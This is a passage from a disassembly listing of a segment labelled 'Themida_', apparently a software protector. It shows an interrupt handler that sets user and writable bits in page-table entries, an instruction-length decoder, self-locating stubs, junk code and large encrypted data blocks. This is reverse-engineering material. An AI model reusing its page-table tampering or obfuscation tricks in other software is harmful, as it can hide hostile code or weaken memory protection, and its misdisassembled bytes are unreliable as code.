		and	eax, 3FF8h


loc_5A0D19:				; CODE XREF: Themida_:005A0D0Cj
		mov	edi, [ebp+619805Bh]
		or	dword ptr [edi+eax], 6
		mov	edx, [edi+eax]
		mov	eax, edx
		and	al, 81h
		cmp	al, 81h
		mov	eax, ecx
		jz	locret_5A0D8B
		cmp	dword ptr [ebp+619805Bh], 0C0300000h
		jnz	loc_5A0D51
		shr	eax, 0Ah
		and	eax, 3FFFFCh
		jmp	loc_5A0D59
; ---------------------------------------------------------------------------


loc_5A0D51:				; CODE XREF: Themida_:005A0D3Ej
		shr	eax, 9
		and	eax, 7FFFF8h


loc_5A0D59:				; CODE XREF: Themida_:005A0D4Cj
		sub	eax, 40000000h
		or	dword ptr [eax], 6
		test	dword ptr [eax], 80h
		jz	locret_5A0D8B
		cmp	dword ptr [ebp+619805Bh], 0C0300000h
		jz	locret_5A0D8B
		and	eax, 3FF8h
		mov	eax, [eax-3FA00000h]
		or	dword ptr [eax], 6

locret_5A0D8B:				; CODE XREF: Themida_:005A0D2Ej
					; Themida_:005A0D67j ...
		iret
; ---------------------------------------------------------------------------


loc_5A0D8C:				; CODE XREF: Themida_:loc_5A0B21j
		lea	eax, [ebp+6197FC9h]
		mov	[ebp+61431D1h],	eax
		lea	eax, [ebp+619805Fh]
		mov	[ebp+6140D81h],	eax
		lea	eax, [ebp+6198026h]
		mov	[ebp+6140A75h],	eax
		insb
		adc	ebx, [ebp+1Dh]
		db	36h
		mov	edi, 63902979h
		cmp	esi, eax
		xor	eax, 48042F71h
		xor	eax, 70FD7853h
		cmp	dh, 55h
		test	eax, ecx
		xor	dword ptr [ecx], 0FFFFFF85h
		mov	edi, 2FF15031h
		sal	dword ptr [eax+621F2B05h], cl
		mov	[edi+23h], cl
		in	al, 33h
		cmp	dword ptr [esi], 0FFFFFFFDh
		adc	eax, 553C3182h
		in	al, 8Bh		; DMA page register 74LS612:
					; Channel 5 (address bits 17-23)
		aam	0B7h
		in	al, 0BAh	; Interrupt Controller #2, 8259A
		int	3		; Trap to Debugger
		push	esp
		imul	esp, edi, -7Ch
		xor	eax, 334A3E82h
		xor	byte ptr [ecx],	0E1h
		mov	ah, 45h
		push	ecx
; ---------------------------------------------------------------------------
		dd 66ECB1DBh, 9A478F1Eh, 3C3FB662h, 31842105h, 31B2B100h
		dd 0F8033587h, 733EE71Dh, 31819908h, 66825FF0h,	31823690h
		dd 0F2DD153Ch, 15FEBC41h, 15C6B40Bh, 31822083h,	0F2D572C3h
		dd 0B58D541Bh, 318235F0h, 0B40F6ECEh, 379BB4CDh, 0D9D33574h
		dd 3182350Ch, 68416CA7h, 35A6794Ah, 35A67160h, 318235E6h
		dd 0BC416439h, 0BB8DACD2h, 31823518h, 3016F48Eh, 6112401Dh
		dd 3182322Bh, 947D7E1h,	78718654h, 0A1D8E2F2h, 0D9D73556h
		dd 3182351Dh, 6C41682Fh, 35A6590Eh, 35A67142h, 318235F8h
		dd 0CB4160B5h, 0FA4DFA6Bh, 32063A59h, 3E82351Eh, 0B40FC7B8h
		dd 379BB454h, 3193B6CCh, 3D6B35E1h, 918235F0h, 1446D809h
		dd 4F05A550h, 0A1196B19h, 0D9D2DA85h, 3182358Fh, 8E395E8Bh
		dd 9A309BDCh, 3182BFFFh, 0A1DD3578h, 318232D4h,	7556E51Eh
		dd 68411D3Fh, 31823B6Fh, 3AC04FC3h, 0F95CF1B1h,	0CEAD207Fh
		dd 0D80533C1h, 31823534h, 0AEBE1907h, 0D7ADB3CCh, 0A47D6BD9h
		dd 37963CAEh, 0A937D45Bh, 5B42BE8Eh, 326A6278h,	1182353Ch
		dd 0B8DDF641h, 0B0861173h, 298611C3h, 768235C3h, 0E315F6B6h
		dd 0D9E4B87Eh, 3182357Eh, 608CD94Dh, 366B8401h,	2682350Fh
		dd 6BC9C00Ah, 0B2DD641Bh, 25B2845Ch, 38F735F6h,	2B6388FBh
		dd 45823328h, 0BAD16507h, 35F88DCFh, 0B40B3587h, 37962F8Ah
		dd 86B8A86Ch, 0E27D33E6h, 8C016D23h, 37962FDDh,	6195411Eh
		dd 35F88D5Ch, 0B40B3587h, 37962F8Ah, 85ABA86Ch,	0E27D33E6h
		dd 517A6D23h, 0EB908E5Ah, 6F93874Fh, 93F68A6Eh,	0F10940ECh
		dd 0D9D535A9h, 318235E2h, 6E416AD0h, 35A649F1h,	35A671BDh
		dd 31823506h, 27416248h, 0B662F0DDh, 0AB3B5391h, 0BC7B6F94h
		dd 2803EE6Dh, 3185DC7Eh, 0FA28353Ch, 0EF0EF328h, 0D007B8CFh
		dd 0C9842CE7h, 31E8E53Ch, 3181DDB4h, 6CA235F0h,	5D0B68BBh
		dd 75033118h, 3196313Ah, 64C7350Fh, 0F1897B44h,	31F9B1CCh
		dd 31E835E1h, 3181DDA3h, 6AA23578h, 6D0B6EFFh, 7503313Ah
		dd 3199312Bh, 62C13587h, 2618A500h, 0A12AB054h,	260D3A93h
		dd 0D8823578h, 3182352Eh, 33C7C3FCh, 0A94737BAh, 0F986900Dh
		dd 6DBCD726h, 0AC0F5C64h, 37967889h, 0FB68B41Eh, 31818D94h
		dd 2E38351Eh, 0CEE37900h, 63825F64h, 3182362Bh,	0F2D815E1h
		dd 15D6BCAAh, 15C6B47Ch, 31822C38h, 0F2D0771Eh,	0E3C7F3FEh
		dd 0BAE40C03h, 0D21FB831h, 5B842C60h, 326A67F0h, 11823578h
		dd 0B8D8F666h, 0B086114Ah, 2D86114Bh, 73823587h, 0D617F691h
		dd 0F2785627h, 0BCB2BE83h, 28E2D4FDh, 62825F3Ah, 318236F6h
		dd 0F2D9150Fh, 15DEBCDCh, 15C6B4C7h, 318223E5h,	0F2D176F0h
		dd 805251C8h, 5B52CA54h, 326A671Eh, 1182350Fh, 0B8D8F6DDh
		dd 0B0861197h, 2C8611A5h, 738235F0h, 39F8F62Ah,	0E0B911FDh
		dd 8F765BF2h, 7F74B469h, 3E423E10h, 31827147h, 0FA0953E1h
		dd 0AC0FE241h, 37967801h, 3181BE33h, 8E8D351Eh,	31838DF9h
		dd 0E6033587h, 6AB5812h, 3E6BD61Eh, 358235F0h, 7E46AA9Fh
		dd 1A6A5B04h, 8B026A6Ch, 0BA8D6E65h, 3182358Eh,	3181B2CCh
		dd 0BAE435E1h, 0D91FB809h, 0B0842CF9h, 62D334DDh, 0D007B81Eh
		dd 0D9842C6Fh, 3182358Bh, 0BA5EA52h, 0F5ADE188h, 76D852Fh
		dd 5752CA21h, 3A630A83h, 0B063ADEh, 5782350Fh, 3E92E338h
		dd 0AC0FC67Ch, 37967898h, 0BA75B496h, 26063A99h, 3E82353Ch
		dd 31822496h, 318EDC0Fh, 0EAA33587h, 0E8E31F7Ah, 0EB98AF74h
		dd 323A3DD0h, 0CE823578h, 0BB73BEDFh, 0F00376F6h, 1C5C15Dh
		dd 0B053880Ah, 0BC0F33DAh, 379BB3ECh, 7ADE4848h, 6C0706F2h
		dd 1A842116h, 336BF4D1h, 60D21FB8h, 0F05B842Ch,	78326A67h
		dd 66118235h, 4AB8D8F6h, 4BB08611h, 0F305E983h,	6AC08BA4h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 3A49C352h, 66A4CCBBh, 0B1548BBEh,	0FC38B44h
		dd 8166CEB7h, 8B6912E9h, 0CA8B66C0h, 83F78B66h,	1430B1BDh
		dd 9750006h, 1AE1BD83h,	74000614h, 8B535019h, 47AB8C0h
		dd 85890000h, 61430C1h,	0B7A19D8Dh, 0D3FF0616h,	0BD83585Bh
		dd 6141AE1h, 50177400h,	47AB853h, 85890000h, 61430C1h
		dd 0B4429D8Dh, 0D3FF0616h, 0B70F585Bh, 0E9C08BCFh, 7, 56453DEFh
		dd 0E9000000h, 537h, 68BA05D7h,	2375488Bh, 0DD2F8C46h
		dd 92E4D500h, 499B22B5h, 0CF08A810h, 12BF9CEEh,	607855A7h
		dd 0A6300D5Fh, 2FB7C315h, 0B6E4329h, 0F55C5758h, 0AFF7C412h
		dd 0E7FBE1E7h, 0E70F51F1h, 79464EB8h, 5AB25E5Dh, 6B7202Bh
		dd 0BCFFD7B4h, 0E8D30310h, 19A42F3Ch, 12DFF76Dh, 0F54DF9C6h
		dd 23D674C6h, 913D8256h, 0D7FF0A39h, 223BCF25h,	0CD1A168Eh
		dd 0C81AB209h, 421619F0h, 6B7B80D3h, 4CA4506Bh,	5E7A85B4h
		dd 6A370F61h, 98A5516Eh, 0BAE9813Ah, 0F2E129AFh, 0BF121FCBh
		dd 5EF64EFAh, 21B17EC6h, 31C9F0E5h, 21CDEEE4h, 23309AC9h
		dd 407D56AEh, 929860A8h, 51F27EACh, 0FF6998C0h,	2EDADFF2h
		dd 5E0AB121h, 0E7CA88ECh, 0A62FFC52h, 0F092E413h, 686E9C3Ch
		dd 0EACF0653h, 64EE63Eh, 7F52383Eh, 3E6651F2h, 0B422FF0Fh
		dd 8C388552h, 0AAF09C34h, 51F27EC7h, 28AE7B43h,	70126493h
		dd 0ED5B0A5Bh, 518754FEh, 77D93F6Eh, 0F0000000h, 8F42C412h
		dd 8E267E2Ah, 0E7B89CE2h, 223651F1h, 0F1FA6B60h, 9C64FEEDh
		dd 0F1F3B096h, 563C4251h, 6A51F1F4h, 399F7C42h,	59BFEE86h
		dd 6, 6D4E8451h, 0C112573Eh, 904350FCh,	6174812Dh, 512D9099h
		dd 8B23DE85h, 7A5169DFh, 0E34CC6AFh, 0C2144343h, 0A3A97180h
		dd 51F287BDh, 6F7AA9D1h, 44115964h, 72846E8Eh, 0F5646B5Dh
		dd 2A59B15Dh, 22993D1Ah, 0C51217D0h, 943F4CF8h,	0A70B7D29h
		dd 378651EBh, 0EDCE08E5h, 1D9E3441h, 8AC8EA71h,	0EDEF6411h
		dd 0ACBAFEh, 12D10000h,	0E3B0F8C5h, 2E98C7F2h, 354BB121h
		dd 3DFD46Ch, 0A76FB74Fh, 0F2CABBA1h, 78A7CF51h,	0E8D7010Eh
		dd 13A62F3Ch, 0CD8DF167h, 0B0D236ECh, 10625B7Ch, 846A7038h
		dd 751F2CBh, 1D6C2F95h,	0CFF7BD59h, 0C64295A0h,	0E1DAF812h
		dd 0F805B149h, 0A930DCDDh, 0A5D0CB87h, 79FEEDC9h, 6Dh
		dd 48C51290h, 0F1E85C42h, 0B0487051h, 1FE1F704h, 0E391E7B0h
		dd 1D65FD70h, 0AB5CD646h, 653150D0h, 0ED8704B2h, 0F6608F27h
		dd 23CFEEE9h, 52FEBB16h, 53F5BFDh, 0E840ECD3h, 5AF8DC50h
		dd 368835A2h, 7544915Eh, 7441272Dh, 2D5551F2h, 0C11217FEh
		dd 270A50FCh, 0A351F1E8h, 8DD8F38Fh, 0D1FEEDF1h, 0A0EDCE04h
		dd 0F55B8A33h, 1, 0FBC0120Ch, 797F474Fh, 51F1E793h, 45507FA7h
		dd 297E2A91h, 0EFCC06D3h, 182C6EC0h, 0D3AF01BAh, 6B71B965h
		dd 57E50354h, 0EEF6A2CAh, 43A2026h, 264E5806h, 0D1EAECF7h
		dd 47D3B289h, 0CE1AD690h, 24B28F9Fh, 0C1A5EB97h, 235806ADh
		dd 0EDE9033Fh, 95AF86CEh, 885A4C1Eh, 8D6A2F3Bh,	18F19836h
		dd 0DAFCD9E9h, 0AE2835E1h, 8BEF610Dh, 5BA135CFh, 7927DD46h
		dd 0ADFF9732h, 0D900F66Fh, 10F08F8h, 171F0000h,	0FF2E8B4Ah
		dd 8FD787F5h, 13F9FFC7h, 2751F1E8h, 558CD0FFh, 0B57E50Dh
		dd 0AC2A37E3h, 18E5BD0Fh, 0F850FCBDh, 0EE18BEC9h, 0D028D4E9h
		dd 0B7848C38h, 854E9B1Eh, 5348C38h, 33DFDCFAh, 600CB126h
		dd 0EA378253h, 8FBA13E7h, 0CD882F6Bh, 0B3178935h, 0FC601297h
		dd 8B30A65Eh, 896AFB39h, 3B94F8D9h, 0AB000000h
		dd 0B0F8A613h, 0F1E7E4AAh, 0E490B8D1h, 0F1E7B89Eh, 7D8C45D1h
		dd 0F1E79177h, 0E57DA5D1h, 12AB2C39h, 0F290F466h, 0D57599EFh
		dd 0C30BB320h, 0F1E7F7BDh, 51A3CB51h, 7073h, 0A513CA00h
		dd 0F0ABB1F9h, 9E57E510h, 0F5C2CA76h, 0A5B0DFDEh, 5B388A31h
		dd 4E94407Bh, 5805F26Dh, 6E6431C9h, 1A49A14Dh, 64728AC8h
		dd 0BB290557h, 1AC5CB13h, 0A85DFC79h, 1DB508CBh, 644DFED5h
		dd 2E8536A0h, 4B7A8B26h, 0B902D4E1h, 7416B80Dh,	0E2F653C1h
		dd 41D931DDh, 13AC2CF9h, 2DD8DEE4h, 0BB6415D9h,	597E4B93h
		dd 2BABB864h, 0B9C9F890h, 0F9A51300h, 6F00ABB1h, 3F0C57E8h
		dd 237B2792h, 9C4870F4h, 2274478Fh, 0E22A9145h,	6E2E141Ah
		dd 1A42580Bh, 0B17981EBh, 0B6DC5ABh, 82B1D958h,	4640563Eh
		dd 480A6E06h, 5EBF1B9h,	19A86820h, 1FB7C2F1h, 9B724A9Ch
		dd 96F90738h, 0D8E31200h, 411BDFEh, 6B6B38D1h, 0C64CA450h
		dd 0A868C6E0h, 8834CCF4h, 3BF19133h, 1D8209Bh, 413E93A3h
		dd 0A2B2E14Fh, 62AA11C5h, 7B82908Bh, 37085F5Ah,	0F6608FEEh
		dd 3A2026EEh, 4EA86875h, 0FEBF726h, 23000000h, 0F3E7B56h
		dd 894A1728h, 1308834h,	0CA1261C8h, 9A3C49F5h, 70687521h
		dd 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh, 0B61F2CD8h, 884A5703h
		dd 597A8733h, 5333B864h, 0C3815B54h, 4,	8704EB83h, 575C241Ch
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	0EC83240Ch, 242C8904h
		dd 1986C568h, 240C8B06h, 5404C483h, 81242C8Bh, 4C4h, 8B85000h
		dd 2D000000h, 2A4F02E0h, 0E005E801h, 892A4F02h,	34FF5808h
		dd 0C4815D24h, 4, 592434FFh, 0E904C483h, 0FFFAF22Bh, 0B98F1C90h
		dd 0B89682F6h, 6198B8Ch, 0E0FFC503h, 7D12F80Dh,	4CF81353h
		dd 5F04F3A1h, 10AB7509h, 7DED3084h, 5E8h, 0B8F80600h, 666073D3h
		dd 5032D281h, 6890Fh, 820F0000h, 0
		dd 0BA665E61h, 0C681F75Fh, 5BA8h, 0B068F88Bh, 0F000016h
		dd 58Ch, 8B665300h, 66595AC2h, 0FF8159BFh, 8DEA8036h, 9E85Bh
		dd 0ED5B0000h, 4D3EB516h, 66D68D7Eh, 0E7DAD781h, 1CC3815Fh
		dd 0F6E1AE3h, 688h, 2AD78100h, 813D59A1h, 408C81EBh, 8120B209h
		dd 8BD4C8F3h, 8166602Bh, 0F118DC2h, 1086h, 0AE800h, 0A09E0000h
		dd 9374723Eh, 900F3417h, 0F53615Bh, 68FC2B7h, 135F0EB8h
		dd 39EE8119h, 667EB54Ah, 73D0D081h, 4A35C681h, 0BF0F7EB5h
		dd 850F49C3h, 19h, 7BDA8166h, 2BE913h, 7E80000h, 239F5C98h
		dd 36755144h, 8B19C8F8h, 68F0F56h, 81000000h, 815A72CAh
		dd 0FF59E902h, 0CE96FFFFh, 2812E7E1h, 3F536395h, 1C8E937h
		dd 88880000h, 7	dup(88880041h),	41h, 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 30000h, 14h dup(0)
		dd 0CC20000h, 758E2900h, 10000h, 11h dup(0)
		dd 53E90000h
		db 3, 2	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_5A1ABB	proc near		; DATA XREF: Themida_:005497E0o
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6198EE2h
		pusha
		mov	dword ptr [ebp+6198E2Fh], 0
		cmp	word ptr [esi],	0A166h
		jnz	loc_5A1AED
		mov	dword ptr [ebp+6198E33h], 6
		jmp	loc_5A1B11
; ---------------------------------------------------------------------------


loc_5A1AED:				; CODE XREF: sub_5A1ABB+1Dj
		lea	eax, [ebp+6198E37h]
		push	eax
		lea	eax, [ebp+6198E87h]
		push	eax
		push	esi
		push	0
		call	sub_5A1B20
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+6198E33h],	eax


loc_5A1B11:				; CODE XREF: sub_5A1ABB+2Dj
		popa
		add	esi, [ebp+6198E33h]
		mov	eax, [ebp+6198E2Fh]
		pop	ebp
		retn
sub_5A1ABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A1B20	proc near		; CODE XREF: sub_5A1ABB+43p

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_6198E27	= dword	ptr  6198E2Fh

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5A1B4D
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5A1B59
; ---------------------------------------------------------------------------


loc_5A1B4D:				; CODE XREF: sub_5A1B20+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5A1B59:				; CODE XREF: sub_5A1B20+28j
		push	ebx
		push	esi
		push	edi


loc_5A1B5C:				; CODE XREF: sub_5A1B20+91j
					; sub_5A1B20+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A1B6F:				; CODE XREF: sub_5A1B20+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6198F99h
		lea	ebp, [ebp+6198E0Fh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A1B9C
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A1B6F


loc_5A1B9C:				; CODE XREF: sub_5A1B20+6Bj
		cmp	cl, 0Bh
		jz	loc_5A1BF9
		cmp	al, 66h
		jnz	loc_5A1BDA
		cmp	[ebp+var_5], 0
		jnz	loc_5A1B5C
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5A1BD2
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5A1B5C
; ---------------------------------------------------------------------------


loc_5A1BD2:				; CODE XREF: sub_5A1B20+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5A1BDA:				; CODE XREF: sub_5A1B20+87j
		cmp	al, 67h
		jnz	loc_5A1B5C
		cmp	[ebp+var_6], 0
		jnz	loc_5A1B5C
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5A1B5C
; ---------------------------------------------------------------------------


loc_5A1BF9:				; CODE XREF: sub_5A1B20+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A1C25
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A1C2A
; ---------------------------------------------------------------------------


loc_5A1C25:				; CODE XREF: sub_5A1B20+E4j
		movzx	edi, al
		shr	edi, 1


loc_5A1C2A:				; CODE XREF: sub_5A1B20+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6199051h
		lea	ebp, [ebp+6198D0Fh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5A1DAC
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A1CF0
		dec	ecx
		jz	loc_5A1CD3
		dec	ecx
		jnz	loc_5A1D43
		cmp	[ebp+var_2], 0
		jnz	loc_5A1D3F
		cmp	[ebp+var_5], 0
		jz	loc_5A1CB2
		mov	byte ptr [ebp+arg_0+3],	2


loc_5A1CB2:				; CODE XREF: sub_5A1B20+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61990DDh
		mov	[ebp+arg_6198E27], 1
		pop	ebp
		jmp	loc_5A1D43
; ---------------------------------------------------------------------------


loc_5A1CD3:				; CODE XREF: sub_5A1B20+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5A1D1D
		cmp	[ebp+var_5], 0
		jz	loc_5A1D1D
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5A1D1D
; ---------------------------------------------------------------------------


loc_5A1CF0:				; CODE XREF: sub_5A1B20+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5A1D36
		cmp	[ebp+var_5], 0
		jz	loc_5A1D25
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A1D1D
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5A1D1D:				; CODE XREF: sub_5A1B20+1B7j
					; sub_5A1B20+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5A1D43
; ---------------------------------------------------------------------------


loc_5A1D25:				; CODE XREF: sub_5A1B20+1DEj
		cmp	dl, 5
		jnz	loc_5A1D43
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5A1D43
; ---------------------------------------------------------------------------


loc_5A1D36:				; CODE XREF: sub_5A1B20+1D4j
		cmp	dl, 6
		jnz	loc_5A1D43


loc_5A1D3F:				; CODE XREF: sub_5A1B20+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5A1D43:				; CODE XREF: sub_5A1B20+174j
					; sub_5A1B20+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5A1D71
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5A1D53:				; CODE XREF: sub_5A1B20+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A1D53
		mov	esi, edx


loc_5A1D71:				; CODE XREF: sub_5A1B20+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A1DA6
		cmp	edi, 7Fh
		ja	loc_5A1DA6
		test	bl, 38h
		jnz	loc_5A1DA6
		cmp	[ebp+var_7], 0
		jz	loc_5A1DA0
		movzx	eax, [ebp+var_4]
		jmp	loc_5A1DA3
; ---------------------------------------------------------------------------


loc_5A1DA0:				; CODE XREF: sub_5A1B20+271j
		push	1
		pop	eax


loc_5A1DA3:				; CODE XREF: sub_5A1B20+27Bj
		mov	[ebp+var_1], al


loc_5A1DA6:				; CODE XREF: sub_5A1B20+255j
					; sub_5A1B20+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_5A1DAC:				; CODE XREF: sub_5A1B20+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A1DD7
		dec	eax
		dec	eax
		jz	loc_5A1DCD
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5A1DDF
; ---------------------------------------------------------------------------


loc_5A1DCD:				; CODE XREF: sub_5A1B20+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5A1DDC
; ---------------------------------------------------------------------------


loc_5A1DD7:				; CODE XREF: sub_5A1B20+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5A1DDC:				; CODE XREF: sub_5A1B20+2B2j
		add	[ebp+var_1], al


loc_5A1DDF:				; CODE XREF: sub_5A1B20+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5A1E07
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_5A1DF2:				; CODE XREF: sub_5A1B20+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A1DF2


loc_5A1E07:				; CODE XREF: sub_5A1B20+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_5A1B20	endp

; ---------------------------------------------------------------------------
		lea	eax, [ebp+6198EDCh]
		mov	[ebp+6140C01h],	eax
		call	sub_5A1E31
; ---------------------------------------------------------------------------
		aam	0F3h
		sbb	[esi-21h], al
		retn	480Ch
; ---------------------------------------------------------------------------
		retf	0B9ECh
; ---------------------------------------------------------------------------
		dw 2865h
		dd 0AB744A3Eh
; ---------------------------------------------------------------------------
		pop	esp

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5A1E31	proc near		; CODE XREF: Themida_:005A1E1Ap
		call	sub_5A1E46
		jmp	near ptr 8F4DA090h
sub_5A1E31	endp

; ---------------------------------------------------------------------------
		db 7Ch
		dd 0BF646DC8h, 647E926Ch
; ---------------------------------------------------------------------------
		setalc
		xchg	eax, esp

; =============== S U B	R O U T	I N E =======================================



sub_5A1E46	proc near		; CODE XREF: sub_5A1E31p
		or	ah, 7
		pop	ecx
		pop	ebx
		xor	eax, 64B4568Fh
		add	ebx, 5CB1h
		sub	esi, 4C950025h
		mov	edi, 43881126h
		sub	edi, 4387FA28h
		jmp	loc_5A1E80
; ---------------------------------------------------------------------------
		db 86h,	3Ch, 0B9h
		dd 98652915h, 0FD50DA2Ah, 39316CB4h, 29018187h
; ---------------------------------------------------------------------------


loc_5A1E80:				; CODE XREF: sub_5A1E46+22j
					; sub_5A1E95:loc_5A1ED3j
		mov	edx, [ebx]
		add	edx, 7D5EE9B9h
		push	edi
		call	sub_5A1E95
		insd
		xchg	ah, [ecx]
		jz	short loc_5A1EEB
		test	al, 8Dh
sub_5A1E46	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A1E95	proc near		; CODE XREF: sub_5A1E46+43p

arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h

		stc


loc_5A1E96:				; CODE XREF: sub_5A1E95+6Cj
		pop	eax
		pop	ecx
		add	edx, 2500F034h
		mov	si, 5FA4h
		add	edx, 14C4ECB9h
		movsx	eax, bx
		push	edx
		pusha
		adc	ah, 0D1h
		mov	bx, 4442h
		popa
		pop	dword ptr [ebx]
		and	ax, 5886h
		sub	ebx, 718895B8h
		add	ebx, 718895B4h
		jmp	loc_5A1ED2
; ---------------------------------------------------------------------------
		db 3Ch,	0F3h, 80h
; ---------------------------------------------------------------------------
		mov	ss, bx


loc_5A1ED2:				; CODE XREF: sub_5A1E95+33j
		dec	edi


loc_5A1ED3:				; DATA XREF: Themida_:0054B9ECo
		jnz	loc_5A1E80
		mov	cx, dx
		jmp	loc_5A1F34
; ---------------------------------------------------------------------------
		db 0CDh, 0Ch, 89h
		dd 15h
		db 0, 57h, 1Ch
; ---------------------------------------------------------------------------


loc_5A1EEB:				; CODE XREF: sub_5A1E46+4Bj
		lds	ecx, [edx+43h]
		dec	eax
		popa
		db	36h
		stc
		lodsd
		movsd
		cmpsd
		mov	[edx+edx*2+0B7FB75h], cl
		mov	esi, 0E5ADF99Ch
		jle	short loc_5A1E96
		mov	[ebp+1DF4C700h], ebx
		xchg	eax, edx
		arpl	[eax+19h], sp
		fiadd	word ptr [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 9 dup(0)
; ---------------------------------------------------------------------------


loc_5A1F34:				; CODE XREF: sub_5A1E95+47j
		jmp	loc_5A2AAB
; ---------------------------------------------------------------------------
		push	619945Fh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	61995A9h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	61996CFh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619977Ch
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6199841h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6199968h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6199A47h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6199C41h
